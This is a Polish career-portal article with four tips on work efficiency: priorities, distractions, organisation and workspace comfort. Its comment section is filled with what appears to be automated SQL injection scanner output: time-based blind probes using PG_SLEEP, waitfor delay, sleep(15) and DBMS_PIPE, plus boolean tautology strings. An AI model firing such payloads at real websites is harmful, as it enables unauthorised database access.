Masz problem z efektywnością w pracy? Czasami wystarczy zmiana dotychczasowych nawyków, aby zadbać o lepszą wydajność! Zastanów się, czy w Twoim przypadku nie wystarczy rezygnacja z rozpraszaczy lub ustalenie priorytetu zadań. Poznaj sprawdzone sposoby, dzięki którym szybko poprawi się Twoja skuteczność w realizacji obowiązków zawodowych!
1. Zastanów się nad priorytetem zadań
Jednym ze skutecznych sposobów na poprawę efektywności w pracy jest ustalenie priorytetowych zadań. Czasami za główną przyczynę spadku wydajności uznajemy dzielenie uwagi na kilka mniej ważnych obowiązków - o wiele lepszym rozwiązaniem jest skupienie się w pierwszej kolejności na najistotniejszych projektach. Ustalenie właściwej kolejności zadań to także skuteczny sposób na przeciwdziałanie multitaskingowi. Należy podkreślić, że wielozadaniowość to jedna z częstych przyczyn spadku efektywności, ponieważ utrudnia utrzymanie koncentracji.
Odwiedź portal https://theprotocol.it/ i sprawdź propozycje zatrudnienia, w których uda Ci się zachować wydajność pracy na wysokim poziomie!
2. Pozbądź się rozpraszaczy
Kluczowym czynnikiem wpływającym na obniżenie efektywności w pracy są tak zwane rozpraszacze. Zastanów się, co dokładnie odciąga Twoją uwagę od obowiązków. Być może problemem są włączone media społecznościowe, prywatna skrzynka mailowa czy nawet muzyka, której słuchasz w trakcie pracy. Postaraj się maksymalnie ograniczyć używanie telefonu komórkowego - najlepiej go wyciszyć lub odłożyć w innym pomieszczeniu, aby skutecznie zawalczyć z odruchem ciągłego sprawdzania wiadomości SMS czy surfowania po sieci. Czynnikiem rozpraszającym Twoją uwagę może być także włączone radio lub odbiornik telewizyjny - pamiętaj, że cisza sprzyja utrzymaniu maksymalnego skupienia.
Interesuje Cię praca, w której będziesz mógł wykazać się efektywnością działania? Poznaj najnowsze oferty!
3. Zadbaj o dobrą organizację pracy
Z myślą o poprawie efektywności koniecznie należy zadbać o lepszą organizację czasu pracy. Warto dokładnie zaplanować realizację zadań, dzieląc je na etapy. Aby zwiększyć swoją wydajność, można także skorzystać z gotowych aplikacji i platform zaprojektowanych z myślą o efektywnym zarządzaniu czasem. Przykładem jest chociażby Nozbe, Google Calendar czy Evernote.
4. Stwórz komfortową przestrzeń do pracy
Czy wiesz, że na Twoją wydajność w pracy wpływa najbliższe środowisko? Skutecznym sposobem na poprawę produktywności jest stworzenie odpowiedniej przestrzeni do realizacji obowiązków zawodowych. Musisz zadbać między innymi o optymalne oświetlenie, najlepiej z dostępem do światła naturalnego. Na Twoją wydajność wpływa także temperatura w pomieszczeniu - najlepiej, aby oscylowała w granicy 20-22 stopni. Jeśli w miejscu pracy będzie za chłodno lub za gorąco, trudniej będzie utrzymać skupienie. Pamiętaj również o dostępie do świeżego powietrza - pomieszczenie należy regularnie wietrzyć. Na efektywność pracy wpływa także Twoje poczucie komfortu, dlatego zadbaj o wygodne krzesło i biurko dostosowane do najważniejszych potrzeb.
Podsumowanie
Dzięki kilku prostym sposobom możesz znacznie poprawić swoją wydajność. Naucz się efektywnego planowania obowiązków zawodowych i zadbaj o odpowiednie warunki pracy. Pamiętaj również o regularnych przerwach, dzięki którym będziesz wracać do swoich zadań z nową energią. Nie możesz także zapominać o wypoczynku - zachowanie równowagi pomiędzy życiem zawodowym a odpoczynkiem w domowym zaciszu, to klucz do utrzymania efektywności pracy na wysokim poziomie.
Chcesz dokładnie wyliczyć okres przysługujących Ci urlopów z tytułu macierzyństwa? Skorzystaj z kalkulatora macierzyńskiego.
Źródło: Jak wpłynąć na efektywność w pracy? 4 sprawdzone sposoby! | 2024-08-06
Czy ten artykuł był dla Ciebie interesujący?
Zainteresował Cię artykuł? Podaj dalej!
Komentarze (122)
LmMqtzme ⋅ 16-12-2024 | 20:03
1
LmMqtzme'" ⋅ 16-12-2024 | 20:03
1
LmMqtzme ⋅ 16-12-2024 | 20:03
1
@@oey0o ⋅ 16-12-2024 | 20:03
1
LmMqtzme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR( ⋅ 16-12-2024 | 20:03
1
LmMqtzmeammMPwPQ')) OR 570=(SELECT 570 FROM PG_SLE ⋅ 16-12-2024 | 20:03
1
LmMqtzmeIJrKhBQs') OR 646=(SELECT 646 FROM PG_SLEE ⋅ 16-12-2024 | 20:03
1
LmMqtzmeKlsMjfkx' OR 209=(SELECT 209 FROM PG_SLEEP ⋅ 16-12-2024 | 20:03
1
LmMqtzmeed0pETbV'; waitfor delay '0:0:15' -- ⋅ 16-12-2024 | 20:03
1
LmMqtzme-1 waitfor delay '0:0:15' -- ⋅ 16-12-2024 | 20:03
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)f ⋅ 16-12-2024 | 20:03
1
LmMqtzme0"XOR(if(now()=sysdate(),sleep(15),0))XOR" ⋅ 16-12-2024 | 20:03
1
LmMqtzme0'XOR(if(now()=sysdate(),sleep(15),0))XOR' ⋅ 16-12-2024 | 20:03
1
if(now()=sysdate(),sleep(15),0) ⋅ 16-12-2024 | 20:02
1
-1" OR 3*2=5 AND 128=128 -- ⋅ 16-12-2024 | 20:02
1
-1" OR 3*2=6 AND 128=128 -- ⋅ 16-12-2024 | 20:02
1
-1" OR 3*2>(0+5+128-128) -- ⋅ 16-12-2024 | 20:02
1
-1" OR 2+1-1-1=1 AND 128=128 -- ⋅ 16-12-2024 | 20:02
1
-1" OR 2+1-1+1=1 AND 128=128 -- ⋅ 16-12-2024 | 20:02
1
-1" OR 2+128-128-1=0+0+0+1 -- ⋅ 16-12-2024 | 20:02
1
-1" OR 3+128-128-1=0+0+0+1 -- ⋅ 16-12-2024 | 20:02
1
-1" OR 3*2<(0+5+128-128) -- ⋅ 16-12-2024 | 20:02
1
-1' OR 2+811-811-1=0+0+0+1 -- ⋅ 16-12-2024 | 20:02
1
-1' OR 2+442-442-1=0+0+0+1 or 'dzI3haiS'=' ⋅ 16-12-2024 | 20:02
1
-1' OR 3+442-442-1=0+0+0+1 or 'dzI3haiS'=' ⋅ 16-12-2024 | 20:02
1
-1' OR 3*2<(0+5+442-442) or 'dzI3haiS'=' ⋅ 16-12-2024 | 20:02
1
-1' OR 3*2>(0+5+442-442) or 'dzI3haiS'=' ⋅ 16-12-2024 | 20:02
1
-1 OR 3*2<(0+5+106-106) -- ⋅ 16-12-2024 | 20:02
1
-1 OR 3*2>(0+5+106-106) -- ⋅ 16-12-2024 | 20:02
1
-1 OR 2+195-195-1=0+0+0+1 ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
-1 OR 2+106-106-1=0+0+0+1 -- ⋅ 16-12-2024 | 20:02
1
-1 OR 3+106-106-1=0+0+0+1 -- ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:02
1
LmMqtzme ⋅ 16-12-2024 | 20:01
1
LmMqtzme ⋅ 16-12-2024 | 20:01
1
LmMqtzme ⋅ 16-12-2024 | 20:01
1
LmMqtzme ⋅ 16-12-2024 | 20:01
1
LmMqtzme ⋅ 16-12-2024 | 20:01
1
LmMqtzme ⋅ 16-12-2024 | 20:01
1
LmMqtzme ⋅ 16-12-2024 | 20:01
1
LmMqtzme ⋅ 16-12-2024 | 20:00
1
LmMqtzme ⋅ 16-12-2024 | 20:00
1
LmMqtzme ⋅ 16-12-2024 | 20:00
@@nIvW9
LmMqtzme ⋅ 16-12-2024 | 20:00
1
LmMqtzme ⋅ 16-12-2024 | 20:00
1'"
LmMqtzme ⋅ 16-12-2024 | 20:00
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
LmMqtzme ⋅ 16-12-2024 | 20:00
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
LmMqtzme ⋅ 16-12-2024 | 20:00
1BfihrKwE')) OR 632=(SELECT 632 FROM PG_SLEEP(15))--
LmMqtzme ⋅ 16-12-2024 | 20:00
1gbBPUXX8') OR 663=(SELECT 663 FROM PG_SLEEP(15))--
LmMqtzme ⋅ 16-12-2024 | 20:00
19cM42s3m' OR 41=(SELECT 41 FROM PG_SLEEP(15))--
LmMqtzme ⋅ 16-12-2024 | 20:00
1-1)) OR 489=(SELECT 489 FROM PG_SLEEP(15))--
LmMqtzme ⋅ 16-12-2024 | 20:00
1-1) OR 860=(SELECT 860 FROM PG_SLEEP(15))--
LmMqtzme ⋅ 16-12-2024 | 20:00
1-1 OR 239=(SELECT 239 FROM PG_SLEEP(15))--
LmMqtzme ⋅ 16-12-2024 | 19:59
1ZApwwNeI'; waitfor delay '0:0:15' --
LmMqtzme ⋅ 16-12-2024 | 19:59
1-1 waitfor delay '0:0:15' --
LmMqtzme ⋅ 16-12-2024 | 19:59
1-1); waitfor delay '0:0:15' --
LmMqtzme ⋅ 16-12-2024 | 19:59
1-1; waitfor delay '0:0:15' --
LmMqtzme ⋅ 16-12-2024 | 19:59
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
LmMqtzme ⋅ 16-12-2024 | 19:59
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
LmMqtzme ⋅ 16-12-2024 | 19:59
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
LmMqtzme ⋅ 16-12-2024 | 19:59
1*if(now()=sysdate(),sleep(15),0)
LmMqtzme ⋅ 16-12-2024 | 19:59
-1" OR 2+642-642-1=0+0+0+1 --
LmMqtzme ⋅ 16-12-2024 | 19:59
-1' OR 3*2>(0+5+20-20) --
LmMqtzme ⋅ 16-12-2024 | 19:59
-1' OR 2+659-659-1=0+0+0+1 or 'euy42qtz'='
LmMqtzme ⋅ 16-12-2024 | 19:59
-1' OR 3+659-659-1=0+0+0+1 or 'euy42qtz'='
LmMqtzme ⋅ 16-12-2024 | 19:59
-1' OR 3*2<(0+5+659-659) or 'euy42qtz'='
LmMqtzme ⋅ 16-12-2024 | 19:59
-1' OR 3*2>(0+5+659-659) or 'euy42qtz'='
LmMqtzme ⋅ 16-12-2024 | 19:59
-1 OR 3+773-773-1=0+0+0+1
LmMqtzme ⋅ 16-12-2024 | 19:59
-1 OR 3*2<(0+5+773-773)
LmMqtzme ⋅ 16-12-2024 | 19:59
-1' OR 2+20-20-1=0+0+0+1 --
LmMqtzme ⋅ 16-12-2024 | 19:59
-1' OR 3+20-20-1=0+0+0+1 --
LmMqtzme ⋅ 16-12-2024 | 19:59
-1' OR 3*2<(0+5+20-20) --
LmMqtzme ⋅ 16-12-2024 | 19:59
-1 OR 3*2<(0+5+961-961) --
LmMqtzme ⋅ 16-12-2024 | 19:59
-1 OR 2+773-773-1=0+0+0+1
LmMqtzme ⋅ 16-12-2024 | 19:59
1
LmMqtzme ⋅ 16-12-2024 | 19:59
-1 OR 2+961-961-1=0+0+0+1 --
LmMqtzme ⋅ 16-12-2024 | 19:59
-1 OR 3+961-961-1=0+0+0+1 --
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:58
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:57
1
LmMqtzme ⋅ 16-12-2024 | 19:07
1
LmMqtzme ⋅ 16-12-2024 | 19:07
1
LmMqtzme ⋅ 16-12-2024 | 19:06
1